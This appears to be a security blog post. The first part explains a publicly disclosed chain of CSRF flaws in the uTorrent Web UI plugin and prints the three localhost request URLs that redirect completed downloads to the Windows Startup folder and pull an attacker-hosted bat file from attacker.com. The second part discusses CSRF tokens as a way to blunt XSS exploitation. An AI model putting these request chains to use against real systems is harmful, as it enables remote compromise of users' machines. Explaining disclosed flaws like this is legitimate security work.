CSRF pwns your box?!?!

Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some "housekeeping" on the recent spreadsheets.google.com XSS.  (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog.  (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln.  (3)  Part of the vulnerability involved a caching flaw in Google's servers, this issue is specific to Google and it was also fixed...   OK, on to the good stuff...
         
         
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend).  Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine!  I think this may be the first PURE CSRF vulnerability that I've seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story).  The series of vulnerabilities basically follow this flow:
         
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI).  Rob targets the CSRF vulnerabilities associated with this locally running web server.

• Rob uses a first CSRF to turn on the "Move completed downloads" option on the uTorrent Web UI.  The CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1

         

• Once Rob has "turned on" the "Move completed downloads" functionality, he uses a second CSRF to change the path of where the completed torrent download is placed.  In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder.  This CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

         
         

• The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file.  Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs).  This CSRF looks something like this:
   http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent

                   

Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run...  there you have it... compromise of a victim’s system through three CSRFs!  Scary stuff... you can read more about the issue on Robs Blog <robs blog>.

Preventing XSS Exploitation with CSRF Tokens?!?!

A colleague and I were tossing around the idea of preventing XSS Exploitation with CSRF tokens. Now, before people start going "high and right" on me...hear me out... I DID NOT say "prevent XSS" with CSRF tokens, I said prevent "XSS Exploitation" with CSRF tokens. This discussion arose after someone presented me with the following scenario (this same scenario has been presented to me many, many times... typically at a bar after a few drinks):



You come into an organization and take over the application security department because the old security person left/was fired/was arrested/whatever. You take a look at the 10 million line flagship application and realize that its riddled with XSS holes, yet you don't have the resources/time/cojo's to fix all the exposures. What do you do?


This scenario is usually followed up by a pitch to sell me on some Web Application Firewall product..... I'll put my thoughts on WAFs aside for a second... and I'll try to get to the underlying issue of the scenario presented above: You need to do something to stop your customers from getting XSSd, you don't have much time, you don't have many resources and there is a ton of code to go through.

Now, what if you required CSRF tokens/canaries for every request? This doesn't "fix" the XSS exposures, but it makes it a LOT more difficult to exploit (unless you want to exploit yourself). The CSRF tokens effectively prevent an attacker from sending the XSS to anyone else. Considering many token/canary values are implemented at the framework level, in most cases it would require a configuration change for the application. Now, once every page is protected by the canary, you can systematically examine the "high priority" pages or pages where canaries don't make sense and remove the canary requirement after that particular page/functionality has gone through a review. In order to prevent the attacker from sending their own canary value, the CSRF token would have to be tied to the current users session (most good implementations do this anyway).

Now, once again, this DOES NOT FIX XSS, it just makes exploitation harder. This isn't a new concept, in fact this same type of approach is being used by modern day operating systems. Take buffer overflows for example, protections like DEP, ASLR, Stackguard, GS flag... these protections do not prevent developers from writing buffer overflows and they do not "fix" buffer overflows... they do make exploiting buffer overflows a lot more difficult (unless you're a Litchfield brother, HD Moore, or Alexander Sotirov).

Now, of course there are some cons to this strategy... First, the XSS exposures are not fixed (the WAFs don't fix them either). This doesn't protect against persistent XSS. There will be some performance hits to your web server when you have canaries for each request. This will NOT help you defend against injection attacks like SQL Injection or Command injection, that will require an audit... on the flip side... if you're relying solely on a WAF to protect you against SQLi and Command Injection, I'd be worried...